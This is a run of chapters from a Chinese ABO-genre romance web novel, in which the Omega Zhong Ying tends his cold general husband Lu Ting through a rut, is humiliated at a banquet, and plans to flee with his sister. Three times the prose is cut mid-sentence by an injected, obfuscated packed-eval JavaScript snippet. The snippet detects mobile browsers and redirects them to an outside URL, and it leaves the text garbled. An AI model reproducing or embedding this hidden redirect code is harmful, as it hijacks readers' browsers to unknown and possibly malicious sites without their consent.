钟映认得他,正是那次在机场,众目睽睽之下与路霆亲密拥抱的那个Omega。 对方并没有停留多久,只是那样冷冷地看了他片刻,便干脆利落地转身离开了,背影挺拔而疏离。 钟映想,那个人,是路霆的情人吧。 其实,钟映还见过这个Omega一次。 那是在一次世伯的生日宴上。 路霆极少带他出席这类场合,那次还是路母坚持,才将他带在身边,勉强介绍给一些相熟的长辈。 宴会上觥筹交错,来了许多路霆多年的好友。 钟映那时独自在二楼的回廊稍作休息,一低头,恰好看见楼下露台的情景,路霆和一群朋友正坐在那里谈笑,那个Omega就紧挨在他身边。不知身边的人起了什么哄,那个Omega笑着,忽然侧过身,飞快地靠在路霆的脸颊上,像亲了一下。 路霆没有躲闪,也没有说什么,只是任由他亲了。 钟映站在高处,看不清路霆那一刻的具体表情,却恰好能从身边光洁如镜的金属栏杆上,清晰地看到自己瞬间僵住的脸。 那上面写满了无法掩饰的嫉妒和不甘,扭曲而难看,几乎和刚才在走廊上冷冷盯着他的那个Omega的表情,如出一辙。 钟映心想,他有什么好让人羡慕的,还来找他挑衅。 警卫见他站在门口迟迟没有动作,低声提醒了一句:“夫人?” 只有这种仅有一面之缘、奉命行事的人,才会如此称呼他。 可他算哪门子的夫人? 一个徒有虚名、随时可以被替代的工具罢了。 钟映敛起心神,刷开了房门。 室内光线昏暗,浓郁到几乎令人窒息的Alpha信息素如同实质般扑面而来。 路霆有些沙哑烦躁的声音从里面传来,带着易感期特有的焦灼和不耐:“我说了……不要进来……” 然而,当他的视线穿过昏暗,落在钟映身上时,语气骤然顿住,变成了清晰的错愕:“……你怎么会在这里?” 钟映没有立刻回答。 他的目光扫过地面,那里散落着一件显然不属于路霆的衣物。他沉默地走过去,弯腰将其捡起。布料上果然残留着一缕淡淡的、甜腻的Omega信息素的味道,有其他人进来过。 即使此刻整个房间都充斥着路霆霸道强悍的信息素,也掩盖不了那丝突兀的气息。 他将那件衣物轻轻放在一旁的沙发上,然后走到床边坐下,语气平静得近乎麻木:“他们说你易感期又到了,情况不太好,所以接我过来的。” 路霆的头发有些凌乱,额发被汗水濡湿,面色是不正常的潮红,呼吸也比平时粗重许多。他偏过头,罕见地没有直视钟映的眼睛,声音压抑:“……我没有叫他们找你,只是……” “有别人进来过吗?” 路霆动作顿了一下,似乎没反应过来:“什么?” 钟映垂下眼。那就是路霆不知道。 或许他永远猜不透路霆心里究竟怎么想,但钟映唯一能确定的一点是,至少面前这具身体是忠诚的。 亲密接触这件事,这是只有两个人才能彻底感知到的,渴求与动作都无从伪装。 身体比言语更诚实,欲/望也比承诺更真实。 在外面若是吃饱了回来,回来就是倦的,若是没吃饱,眼睛里的光都是绿的,看人的眼神像饿狼盯肉,碰一下都烫手。 这玩意儿根本不需要什么证据。身体挨近了,气息缠上了,是饥是饱,是虚是实,光凭感受就知道了。 每一次体检报告上的亲密接触对象栏,路霆和钟映都只有彼此。 他更是路霆唯一标记过的Omega。 路霆并不会碍着钟映的面子而在这些方面撒谎作假。 钟映甚至觉得,以路霆那副德行,要是真在外头睡了别人,回来怕是会大摇大摆、毫不遮掩地摆给他看,非刺激逼得他难受不可。 至于为什么没睡,他怎么知道?兴许是还没遇上合口的,兴许是嫌麻烦,又或者……只是还没到时候。 但应该不是心有余而力不足。 钟映觉得,做路霆那种暧昧不清的情人其实挺好的,做正经夫人实在不是什么好差事。 外人只看得见他肩头将星闪烁、军装笔挺的光鲜模样,却根本不知道这男人骨子里有多薄情,有多可恶。 话未说完,钟映已经抬手解开了风衣的扣子,随即撕开了后颈上贴着的抑制贴。 清冽的、属于Omega的安抚性信息素缓缓逸散出来。 钟映伸出手臂,环抱住路霆的脖颈,将自己温顺地凑近对方滚烫的皮肤,声音很轻,却带着一种认命般的疲惫:“你很难受吧……这样,会不会好受一点?” 路霆的身体瞬间绷紧,最初没有任何动作,似乎在极力克制。 但终究抵不过易感期Alpha对专属Omega最本能的渴//望和依赖。 路霆不再压抑,手臂猛地收紧,圈住那截细腰,将人重重地压进了柔软的床铺里。 尖锐的牙齿刺破后颈脆弱的腺体,强势的Alpha信息素如同灼热的浪潮般瞬间涌入。 那带来的痛楚与正式标记几乎无异,Omega疼得下意识咬紧了下唇,渗出血珠,却依旧温顺地敞开自己,任凭身上的Alpha肆//意发//泄着易感期汹涌难控的情//潮。 每个Alpha的易感期表现因人而异。 钟映曾经听说过,有些Alpha在这段时期会变得格外黏人,像缺乏安全感的大型犬,恨不得时刻缠绕在自己的Omega身边。 但他从未在路霆身上见过这种迹象,这个男人即便处于易感期,也大多维持着令人心惊的冷静和自持,只是需求比平日更频繁强硬些。 但这一次,似乎有些不同。 钟映醒来时,窗外天光已大亮。 路霆罕见地还在沉睡,眉宇间带着一丝不易察觉的疲惫。 钟映轻手轻脚地下床洗漱,然后走到窗边拉开了厚重的窗帘。 阳光倾泻而入的刹那,他回过头,恰好对上路霆骤然睁开的眼睛。 Alpha似乎被光线刺到,有些不耐地用手臂压了压额头,眉宇间拢着一股挥之不去的烦躁。 钟映走近床边,刚想低声问他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345618|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要吃点东西,却被路霆猛地伸手一拽,天旋地转间重新被压回床上。 温热的吻带着不容拒绝的力道落在他的唇角,衣衫也随之被撩起,露出一段白皙纤细的腰肢,暴露在微凉的空气里。 钟映被他这接连的索//求弄得有些困惑,喘息着推了推他的肩膀:“你这次易感期……怎么来得这么频繁?而且感觉……怪怪的。要不要去医院看看?” 路霆的动作顿了一下,却依旧固执地埋首在他颈间,声音闷闷的,带着点不易察觉的别扭:“……这次不是易感期。” 钟映:“…………”都这样了,还不是易感期,而且两次的时间还那么接近。 他们的三餐都由专人准时送到套房门口。钟映就这样在酒店房间里,陪着路霆度过了几乎足不出户的两天。 大部分时间,都在床上纠缠度过。 到了第三天傍晚,钟映实在有些待不住了。 窗外华灯初上,他看着那片璀璨,轻声对靠在床头的路霆说:“我想出去走走,透透气。” 路霆带着一种近乎本能的警惕:“你要去哪?” 这几天,钟映算是切身体会到了易感期的Alpha能有多反常和黏人。 眼前的路霆,和平日里那个冷硬疏离、恨不得离他八丈远的丈夫,简直是两个极端。 他会下意识地寻找钟映的身影,需要时刻感受到他的气息,甚至在他离开视线片刻后就会显露出不易察觉的焦躁,变得格外依赖他。 钟映之前私下问过秘书。 秘书的解释很委婉,大意是将军前段时期用意志力强行压抑易感期太久太狠,导致这次反弹得格外剧烈,信息素水平紊乱,连带着思维也有些混沌懵懂,行为模式才会出现这种不同往常的依赖。 他清醒之后就好了,应该也不会记得这几天的大多事。 钟映心想该不会是压抑傻了吧。 黄昏时从酒店的落地窗望出去,能看见不远处那片蔚蓝的海滩,以及连接着海滩的那条灯火璀璨、人流如织的繁华街道。 傍晚时分,钟映对着窗外出了会儿神,终于忍不住开口:“我想出去走走,这屋子里太闷了。要不……你跟我一起吧?” 路霆闻言皱起眉,似乎对外出有些抵触,但竟然真的认真考虑了起来。 最终钟映给他戴上了帽子和口罩。 帽檐下露出那双依旧漆黑深邃的眼睛,专注地看着他时,带着一种易感期特有的、不加掩饰的依赖。 路霆身上是一件简单的黑色卫衣和蓝色牛仔裤,这身与他平日一丝不苟的军装或西装截然不同的打扮,让他恍惚间像是变成了另一个陌生又熟悉的年轻人。 钟映没有惊动任何人,悄悄带着他走出了酒店。 他们很少有这样平和并肩的时刻。钟映走在前面,路霆就跟在他身后半步的位置,一只手始终紧紧地拉着他的手,像是怕走散。 身边是来来往往、欢声笑语的人群。 海风带着咸湿的气息拂过,吹起钟映额前的碎发。他修长的身形在夕阳余晖下显得清瘦却挺拔,Omega柔软温和的气质里,透着一份从容与坚定。 “路霆,你看那里,好漂亮。”他指着天边绚烂的晚霞。 “这个甜品,”钟映尝了一口路边买的小蛋糕喂了一口路霆,自己也吃了一口,评价道,“还没我做的好吃。” “我们去沙滩上走走吧。” 喝空的啤酒瓶随意倒在沙滩上,被潮水轻轻推动。 翌日清晨,旭日从海平面缓缓升起,金色的光芒洒满整个世界。 钟映伸出手,仿佛想要接住那缕温暖的阳光。 路霆枕在钟映的大腿上,依旧沉睡着。 他昨晚把啤酒当水喝,此刻呼吸平稳,眉宇间褪去了所有冷硬,显得毫无防备。 钟映低头凝视着他的睡颜,海风吹起他低低的呢喃,轻得几乎要散在风里:“谢谢你的易感期……让我圆了一次梦。” “以前我就想,要是能和你一起,什么都不干,只是一起看一次日出,该多好,没想到,最想要的时候得不到,现在居然误打误撞有了机会。” “路霆,我好像……真的没办法怪你,因为从一开始,错的人就是我。” “先跟你说一句再见吧……我怕真的到了那天,闹得太过,就再也没有机会说出口了。” 9. 大嫂,寄玉醒了 路霆在这个滨海城市的公务还需要持续好几天。 钟映见他的易感期似乎已经平稳度过,便主动去找了秘书,提出自己可以先回去。 他昨天擅自带路霆外出,尽管及时返回,但终究是给警卫和工作团队添了不必要的麻烦。 此刻的路霆,显然已经彻底摆脱了易感期的影响,恢复了往常一切尽在掌握的模样。 钟映看着他那副熟悉的模样,心里泛起几分难以言喻的惘然若失。 他自己也说不明白。 钟映本以为秘书会立刻安排车辆送他返回,毕竟他此行的唯一目的就是安抚易感期的Alpha,如今任务完成,自然没有继续留下的理由。 没想到秘书却面露难色,犹豫了一下才说:“将军待会儿就会回来用餐……您还是亲自跟他说明一下吧。” 钟映只好回到套房,将自己的行李简单收拾好,然后打开电视,调到一个播放深海纪录片的频道。 屏幕上蔚蓝的海水无声涌动,奇异的生物缓慢游弋,房间里只剩下解说员低沉的嗓音和海洋的背景音。 中午时分,钟映都快睡着了,路霆准时回来了。 他脱下笔挺的外套挂在衣架上,脸上带着处理公务的疲惫,抬手捏了捏鼻梁。 几乎同时,酒店的服务生推着餐车悄声进入,依次将手中精致的菜肴从保温笼屉里端出,井然有序地摆放在餐桌上。 钟映看着服务生端上桌的菜肴,每个盘子里的分量都恰到好处地精致,等所有人都退出去,套房内只剩下他和路霆面对面坐着用餐。 沉默地吃了几口,钟映放下筷子:“我跟刑秘书说了,我想先回去。他让我……亲自跟你再说一声。” 路霆抬眸看他,语气没什么波澜:“司机没空。” 钟映连忙表示:“没关系,我可以自己坐车回去,不麻烦你们。那我现在就查一下车票……” 他说着就去拿手机。 路霆却突然沉下脸,一把将他的手机拿了过来,放在自己手边:“先吃饭。” 钟映被他这举动弄得一怔,接下来的饭吃得更是食不知味,心绪不宁。 一顿饭结束。 路霆放下餐具,沉着脸站起身,目光扫过床边那个显然已经收拾好的行李箱,忽然开口:“晚上跟我去个地方。” 钟映下意识地想拒绝:“我……” 话未出口就被路霆冷声打断:“欲拒还迎的手段用多了,我就没那么多耐心了。明白吗?” 他盯着钟映,继续自顾自道:“这招谁教你的?我妈吗?的确比从前那套死缠烂打显得不那么讨人厌了点。” “但我不会因此改变主意,奶奶生日那天,该提的事,我一定会提。” 若是放在以前,钟映一定会不管不顾地缠上去,用尽各种方法试图留下来,挽回些什么。 听完这番话钟映才明白原来在路霆眼里,他这些日子所有的安静和保持距离,都成了以退为进、装模作样博取欢心的手段。 钟映垂下眼,心里只剩下一片无奈的涩然。 他想,自己在路霆心里,这辈子恐怕都定型了。 他之前说的那些试图放手的话,路霆恐怕一个字都没信过。 又能怪谁呢? 谁让他在路霆那里,早已透支殆尽,没有一丝一毫的信用可言。 刑秘书晚上准时送来了一套熨帖的西服。 钟映这才知道,当晚是某个大型集团举办的宴会,来这里参会的重要成员几乎都在应邀之列。 他挽着路霆的手臂步入会场,全程并不多言,只是维持着恰到好处的微笑。他拿捏着分寸,生怕言行有失,给路霆丢人。 宴会中途,他一眼就瞥见了路霆的那个情人似乎也在场。 对方姿态从容地走上前来,先是对路霆打了个招呼,随后便将目光转向钟映,笑容得体:“你好,我是容嘉。” 钟映看着对方那游刃有余、仿佛天生就该站在这种场合的姿态,心里顿时明白了路霆为何会青睐于他。 他回应道:“你好,我叫钟映。” 路霆的眉头却几不可察地蹙起,看着容嘉,语气带着一丝不易察觉的不悦:“你怎么会在这里?” 容嘉笑容不变,语气轻松自然:“听说你难得带嫂子出来见世面,我当然要过来看看。” 他看向路霆,话语里带着点调侃:“路霆,你也真是的,平日里把嫂子藏得那么严实干嘛?我看嫂子挺好的啊。” 哪里是藏着?分明是路霆嫌他丢人,钟映想。 钟映听着他们之间熟稔的、旁若无人的对话,感觉到自己像个突兀的闯入者,他慢慢后退,准备悄悄溜走。 刚转身不远处一个声音带着惊讶和轻佻叫住了他:“钟映?” 钟映循声望去,看到一个穿着身白色、设计略显浮夸西装的男人,眉目上扬,眼神里透着精明的算计。那人将他上下打量一番,啧了一声:“还真是你!这张脸……保持得可真不错,这么多年都没怎么垮。听说你后来嫁得挺好啊?” 那人的目光轻飘飘地转向不远处的路霆,在他肩章和冷峻的脸上转了一圈,露出夸张的惊讶:“嚯,这就是你老公啊?” 钟映从听到这人叫出自己名字的那一刻起,心头就猛地一沉。当对方提及他的脸时,他更是瞬间警惕起来。 他脸上挤出一个极其尴尬的微笑,大脑飞速运转,将眼前这张带着恶意笑容的脸与记忆中模糊的人影一一对应,终于艰难地扒拉出一个名字——简兰硕。 一个很多年前的、跟他并不愉快的‘同学’。 钟映下意识地否认,声音有些发虚:“……不好意思,我想你认错人了,我不认识你。” 他说完就想立刻转身离开这个是非之地。 谁知那人突然拔高了声音:“钟映!你装什么装?没想到能在这儿碰到你啊!当初你这张脸还没整出来的时候,我跟你可还是同学呢!以前我没少受你‘照顾’,后来你犯了事进了少管所,就再也没见过你了!” 简兰硕的声音又响又亮,周围原本交谈的人们瞬间安静下来,无数道目光齐刷刷地投向钟映,带着惊疑、探究和毫不掩饰的看热闹的兴致。 “真是没想到钟家这么有本事!你把人害成那样都能给你捞出来,还能让你嫁得这么好。” 钟映只觉得那些目光像针一样扎在他身上,脑子里只剩下两个字在疯狂叫嚣:完了。 一旁的宴会主管见状,立刻脸色大变,急忙呼叫保安,指向简兰硕:“来人!快把他带出去!怎么什么人都放了进来!” 简兰硕被两个保安架着胳膊往外拖,却还在奋力挣扎,声音愈发尖厉难听:“你们干什么!将军夫人就了不起了吗?我告诉你们,这位将军夫人的履历可精彩了!他当年年纪轻轻就是个人/尽/可夫的婊子!心思歹毒得差点杀了人……” 不堪入耳的污言秽语和恶毒的指控像毒蛇一样嘶嘶作响。 钟映脸色惨白,脚步踉跄着向后退去,试图逃离这令人窒息的中心。却不小心猛地撞到了身后的餐台。 叠放整齐的香槟塔因为这突如其来的撞击轰然倒塌,晶莹的酒杯碎裂一地,昂贵的酒液四处飞溅,染脏了地毯和他的裤脚。 飞起的玻璃碎片划过钟映的脚踝,留下一道刺目的血痕。 剧烈的声响和混乱的场面让所有人的目光更加集中在他身上。 彻底完了。 钟映抬起头,目光穿过混乱的人群,恰好对上容嘉的视线。对方站在不远处,正看着他,唇角勾着一抹极淡的、似笑非笑的弧度。 是他。 是容嘉把简兰硕找来的。 为什么要这样? 钟映手腕突然被一股大力抓住。路霆不知何时已来到他身边,面色铁青,声音不大,瞬间压下了所有的嘈杂:“先回去收拾。” 闹剧的主角被强行拖离,宴会厅内的气氛却依旧诡异而安静。 回到酒店套房,钟映换了衣服,端坐在沙发上,背脊挺得笔直,像个等待审判的囚徒。 听见开门声,钟映立刻站起身,脸上写满了惶惑与愧疚:“对不起……我把一切都搞砸了。可是那个人… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345619|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我真的是忘了他是谁了。” 路霆没有立刻责怪他。他只是静静地走到他面前,忽然,他伸出手,指尖用力掐住钟映的脸颊,迫使他对上自己的视线,左右仔细地看着,捏来捏去,语气听不出情绪:“你的脸……是整的?” 钟映的身体几不可察地僵了一下,沉默了几秒,才低声承认:“……对,做过微调。但没有他说的那么……夸张。” “那他说的其他事呢?”路霆的声音压得更低,“是真的?” 钟映几乎不敢看他的眼睛,最终应了一声:“……嗯,差不多吧。” 空气中弥漫着令人窒息的沉默。 许久,才传来路霆的声音,那声音里带着一种极度压抑后的、近乎荒谬的冷静:“钟映,你还真是……每次都能刷新我对你的认知下限。” 钟映像个小学生一样低着头。 “当初,”路霆的声音冷硬地响起,“为什么要推人下楼?” 钟映似乎努力回想了一下原因,声音干涩:“当时年纪小,不懂事……因为他……抢了我喜欢的Alpha。” “不过我真的很后悔的……当时不该那么做的。” 路霆的脸色彻底沉了下去,眼底翻涌着骇人的风暴:“你当时……到底跟多少个Alpha有过不正当关系?” 钟映闭了闭眼,诚实道:“……不记得了。总之……应该挺多的吧。” 话音落下的瞬间,路霆从齿缝里挤出几个字:“……你他/妈真活该。” 钟映惊讶。 路霆虽然脾气向来不好,但素养还是挺好的,几乎从不说脏话。 钟映听着这句罕见的粗口,心想,路霆是真的,快要气疯了吧。 可不是吗?他丢人到了极点。 路霆当晚没有回来。 钟映独自待在酒店套房里,惴惴不安,一夜未眠。 第二天一早,他收拾好自己寥寥无几的行李,决定还是先离开为好。 刚下楼,却恰好看见容嘉从走廊另一间客房内走出来。 容嘉看见他,动作自然地抬手摸了摸后颈,语气带着点恰到好处的无奈和熟稔:“嫂子这是要走了?不去看看将军吗?他昨晚喝得有点多,就在这间房休息的。我本来想送他回去,可他实在……太折腾人了。” 钟映停下脚步,看着他,忽然觉得有些疲惫,莫名其妙地看着容嘉:“其实……你没必要这样做的。之前那条信息,也是你发来的吧?” 他说的信息,是两年前收到的那条匿名消息。 当时钟映一点开,就是路霆清晰而冰冷的声音,带着毫不掩饰的厌恶: ——我怎么可能喜欢他?他脑袋空空,除了那张脸一无是处,还爱慕虚荣。我就算是瞎了眼,这辈子都不可能喜欢上他! 钟映可谓印象深刻,字字诛心。 如今都不敢忘。 容嘉脸上露出一丝得逞般的笑意:“你还算有点自知之明。不过,你脸皮也真是够厚的,明明知道他不会喜欢你,还非要占着那个位置不肯放。” 钟映闻言,非但没有动怒,反而扯出一个极淡的笑容,那笑容里压抑着一种被设计陷害后的愤怒和破罐破摔的倔强:“可我就是不放,又能怎么样?” Omega的声音带着一种罕见的锐利:“我名声的确差得无可救药。但只要我一天不肯松口签字,路霆就一天不能跟我离婚,这是事实。” 说完钟映还犹觉不够,他往前走了一步,目光毫不退让地看着容嘉:“而你,不管再怎么费尽心机,在他身边,也永远只能是个见不得光的存在,道德比我还要低下的小三。” 放完那番狠话,钟映几乎是落荒而逃。 他坐上了回家的车,额头抵着冰凉坚硬的车窗玻璃,刚才对着容嘉撑出来的那点强硬,此刻早已消失殆尽,只剩下满腔的狼狈和空洞。 那些话不过是绝望之下徒劳的嘴硬罢了。 车子刚停稳,他推门下车,手机便响了起来。是路羿打来的。电话那头的声音带着一丝急促和不易察觉的紧张:“大嫂,寄玉醒了!” 10. 我会亲自跟钟家提我们离婚的事 钟映的心脏猛地一跳,几乎要撞出胸腔。 他立刻拦了车赶往医院,一路催促着司机。 到了医院楼下,他甚至等不及电梯,一口气直接从消防通道跑上了五楼,喘息着推开病房的门。 桑姨见他来了,连忙让开位置,对着病床上的人轻声道:“寄玉,你看,哥哥来了。” 钟映一步步慢慢靠近病床。 床上的小姑娘因为长年昏睡,瘦得几乎脱了形,脸色是一种不健康的苍白透明。 她极其缓慢地眨了眨眼,嘴唇微微翕动,用气音发出一点极其微弱的声响:“哥……哥……” 只这一声,钟映的眼泪瞬间决堤。 他“扑通”一声跪倒在床边,握住妹妹枯瘦的手,额头抵在冰凉的床沿,哭得浑身颤抖,语无伦次:“……对不起……对不起……妹妹……都是哥哥不好……是哥哥对不起你……” 寄玉虽然醒了,但情况远谈不上乐观。 多年卧床导致她身体各个器官都出现了不同程度的衰竭,目前只能采取保守治疗,慢慢观察。 她出事时还未分化,本质上还是个孩子的心智。 钟映常常趴在病房外的玻璃窗前,隔着一段距离看着里面。寄玉已经能断断续续地说些简单的词句,但因为抵抗力极度低下,哪怕最轻微的感冒都可能夺走她刚刚回来的生命。 他只能在窗口对她用力挥手,寄玉看见他,便会努力扯出一个虚弱的笑容回应。 路羿站在他身旁,轻声感叹:“大嫂对一个助养的孩子也这么有耐心,真的很善良。” 钟映不知道该怎么回应这种话。 后面只要工作室没有订单,钟映就会到医院陪着寄玉。 他戴着口罩,仔细地替妹妹按摩着萎缩的四肢肌肉,声音温柔得能滴出水来:“妹妹,要快点好起来。等好了,咱们也去学校,和别的孩子一样去念书,好不好?” 寄玉缓慢地眨着眼,嘴唇动了动,忽然问出一个意想不到的问题:“……哥哥……你……结婚了吗?” 钟映动作一顿,柔声问:“你听谁说的呀?” “……那个……医生哥哥……” 钟映脸上立刻漾开一个无比温柔而灿烂的笑容,仿佛被问及了世上最幸福的事:“对呀,哥哥结婚了。和一个……很好很好的人结婚了。” 他语气依旧轻快,却染上一丝不易察觉的涩意:“不过他现在特别忙,恐怕不能来看你。等寄玉好了,健健康康的,我们就回家,好不好?” 寄玉看着他脸上温暖的笑容,乖巧地点了点头。 钟映从医院回家后,独自坐在寂静的客厅里,良久,终于拨通了钟浦涛的电话:“你之前说的,我答应了。如果路霆真的能看上钟励仪,你会答应我和我妹妹离开吗?” “对了,我听说了,你妹妹醒了,还没来得及恭喜你。” 钟映说:“谢谢。” 电话那端的钟浦涛答应得干脆:“如果你能够让路霆接受励仪,这当然是件功劳,我怎么能够不答应你。” 钟映说:“一言为定。” 路霆出差结束后,钟映给他发过信息,提醒他钟浦涛的生日快到了,恳求他届时务必出席。 大约还在为宴会上的闹剧生气,路霆没有回复。 随着日子一天天逼近,钟映只能主动去找路霆。他出丑的消息早已传得沸沸扬扬,人言可畏,他比谁都清楚。 他站在路霆面前,保证:“只要你这次跟我回去,我会亲自跟钟家提我们离婚的事。” 路霆用怀疑的目光审视着他。钟映别无他法,只能举起手,发下重誓:“如果我到时候反悔不说,就让我不得好死。” 路霆盯着他,脸色沉得可怕,那几个字像是从牙缝里硬挤出来的:“你自己说的。” 他倒要看看钟映又要耍什么花招。 钟浦涛生日那天,并没有大操大办,只请了几位近亲。路霆果然准时出现,钟映安静地坐在他身边。 宴席间,路霆的身旁却多了一个人。 钟励仪今天穿了一件露肩的白色连衣裙,长发柔顺地披散下来,整个人年轻鲜嫩得仿佛能掐出水。 钟浦涛笑着介绍:“路霆,这是励仪,是钟映的妹妹,今年刚上大学。励仪,这就是路将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他喘着粗气,声音冰冷而决绝:“钟映,不离就不离!你以为我怕跟你耗下去吗?我有的是时间!” 11. 他必须带着妹妹离开这里 钟映被他突如其来的暴怒吓得瑟缩了一下,嘴唇微微张合,声音带着颤抖和无助:“那……那我能怎么办?你讨厌我,我如今顺着你的心意放手,你又不乐意……” “我们是因为钟路两家的联姻才结的婚。这么多年,两家利益早已盘根错节地绑在一起,不是简单一句离婚就能拆清楚的。这……这就是眼下最好的办法。” 路霆从鼻腔里发出一声极冷的嗤笑:“让我娶你的妹妹?这就是你所谓最好的办法?” “她姓钟。”钟映说着那些早已准备好的说辞,“你娶了她,就意味着两家的纽带不必断裂,对钟家和路家都是最稳妥的选择。她长得漂亮,又是名校毕业的高材生,你们刚才……不是也聊得很投缘吗?” “闭嘴!”路霆猛地打断他,“在你眼里,婚姻就只是用来交换利益的工具,是吗?!总之,我绝不会再娶钟家任何一个人!” “钟映,你可真行。口口声声说爱我,转身就能把自己的丈夫像个物件一样推给别人?话都不吭一句,你/他/妈对钟家还真是鞠躬尽瘁,死而后已!” 路霆的手指猛地将方向盘攥紧,骨节泛白,每一个字都砸得极重:“你现在名字前面,还冠着我的姓!你给我听好了,要是再敢动这些乱七八糟的心思……你就给我等着!” 当年路霆执意要奔赴前线,路家万般无奈之下,才提出要他必须先完婚留下子嗣才能放行。 于是,才有了后来他和路霆那场仓促而冰冷的婚礼。 钟映记起路母曾无意中透露,路霆是真的郑重其事地提出过要娶容嘉的,也许过去钟映还不完全明白“容嘉”这个名字对路霆而言意味着什么,直到后来亲眼见到了那个人,他终于懂了。 在路霆眼里,婚姻这件事,本该是神圣的,是带着某种郑重承诺的。 而自己,彻底摧毁了婚姻这个词对他而言可能拥有的全部意义和美好想象。 如今,路霆斩钉截铁地拒绝娶钟励仪,等同于彻底堵死了钟浦涛应允的那条出路。 他和妹妹寄玉渴望的那点微末自由,也随之成了泡影。 钟映怏怏,带着一丝不解:“难道……你不想离了吗?可是,如果你真的想离婚的话,暂时装一装,骗过钟家的人,不是会轻松很多吗?” 路霆:“不需要!我原本就计划等到奶奶生日的时候再当众宣布。我有自己的安排,谁都不能打乱。” 他甚至带着一丝嘲讽反将一军:“你非要这样,我也可以奉陪到底,不离就不离。” 计划? 路奶奶的生日还要等到年底。 钟映不明白他为何如此执拗于那个特定的日子。也许是因为那天所有钟家的核心人物都会在场?自己吃了那么久的药,无法生育已是既定事实,难道这也在路霆的计划之内? 难道这一切的拖延和忍耐,都是为了最终能给容嘉铺平道路,让他名正言顺地入主路家? 钟映像是骤然想通了什么关窍,目光复杂地看向路霆,那眼神里有被利用的刺痛。 所以他自始至终,才是那个被选定牺牲的棋子。 所有人,路霆、钟浦涛、甚至可能包括容嘉,都有自己清晰的盘算和目的。只有他不该有,也不能有。 他这些年战战兢兢、如履薄冰地维持着两方脆弱的平衡,可到头来,谁都想抛弃他,谁都在算计他。 他本来也没对路霆会真的娶钟励仪抱有多大希望,也深知现在的路霆绝非能任人摆布的性格。 但只要等到年底,路霆当众宣布离婚,他就会立刻变成钟家一颗毫无用处的弃子。 而弃子,也有弃子的“用法”。 钟浦涛绝不会轻易放过他,必定会榨干他最后一点剩余价值,或许是把他嫁给另一个对钟家有利可图的Alpha,更糟糕的是送给某个有特殊癖好、喜欢玩弄Omega的权贵。 钟映连想都不敢细想。 他必须带着妹妹离开这里。 必须。 钟映深吸一口气,强迫自己冷静下来。最终还是他先一步妥协,顺从道:“……对不起。我会去跟父亲解释,就说我们只是一时闹别扭……等你到时候想宣布了再宣布也不迟。你想怎么样都行,年底……就年底吧。” 听到他这番话,路霆紧绷的脸色才稍缓,操控着方向盘,调转车头往回开。 寄玉的身体状况一直反反复复,时好时坏。 钟映看着妹妹受罪,却无能为力。 医院走廊里,路羿端着一碗还冒着热气的汤,坐到钟映对面:“大嫂,别太担心了。寄玉她很坚强,会挺过去的。来,先喝点东西。” 钟映低低地“嗯”了一声,接过碗喝了一口,随即微微蹙眉:“这汤……味道好像有点不太对。” 路羿笑了笑:“食堂的大锅饭都这样,味道是差了点。” 从那之后,钟映每次给寄玉煲汤带去医院时,总会顺手也给路羿带上一份。保温壶放在护士站,路羿的同事们见了,都忍不住打趣,语气里带着羡慕。 路母也打来过几次电话,拐弯抹角地询问他身体有没有什么“不舒服”的反应。 钟映每次都回答没有,几次过后,对着电话那端说:“妈,对不起……我去医院详细检查过了,是我的问题。我的身体……不太容易受孕。” 电话那头沉默了片刻,就在钟映以为会听到失望的叹息或责备时,路母却突然问道:“是路霆让你这么说的?” 钟映:“不是,妈妈,真的是我自己的原因。” 路母在那边“唔”了一声,过了会儿:“哦,其实……我也不是那么急着想抱孙子。” 她的声音放缓了些:“我就是希望……你能一直做路霆的Omega。我知道你已经很努力了。路霆那个臭脾气……唉,谁能受得了他?我就是想不明白,他怎么……怎么就偏偏不喜欢你呢?” 其实路母也早已察觉了吧,这段婚姻,恐怕真的快要走到尽头了。 听到婆婆那句带着无奈和惋惜的“他怎么就不喜欢你呢”,钟映再也支撑不住,缓缓蹲下身,用手紧紧捂住嘴巴,滚烫的眼泪却不受控制地大颗大颗砸落下来,浸湿了手背和衣袖。 “……谢谢您……”他哽咽着,声音破碎不堪。 至少这句话,让他知道自己在这段荒唐的婚姻里,并非全然的一文不值。 * 孟檀清打开家门,看见站在门外、脸色苍白的钟映,连忙将他拉进屋:“快进来!你电话里说不想再做蛋糕了是怎么回事?我们不是说好了,我还要投资你把店开起来吗?” 钟映接过她递来的温水,指尖冰凉,露出一个极其苦涩的笑容:“蛋糕店……恐怕真的不行了。我这次来,是想求你帮我一个忙。” 他抬起眼,目光里带着孤注一掷的恳求:“我知道这很为难,但我真的……想不到还能找谁了。” 孟檀清收敛了笑容,正色道:“你说,我能帮你一定帮忙。” “我记得你之前提过,有一个去E区做基础建设的项目……我想……” 钟映直到傍晚才从孟檀清家里离开。 孟檀清送他到门口,眼圈还是红的,像是刚刚哭过。她用力握了握他的手:“你放心吧,我会帮你的。” 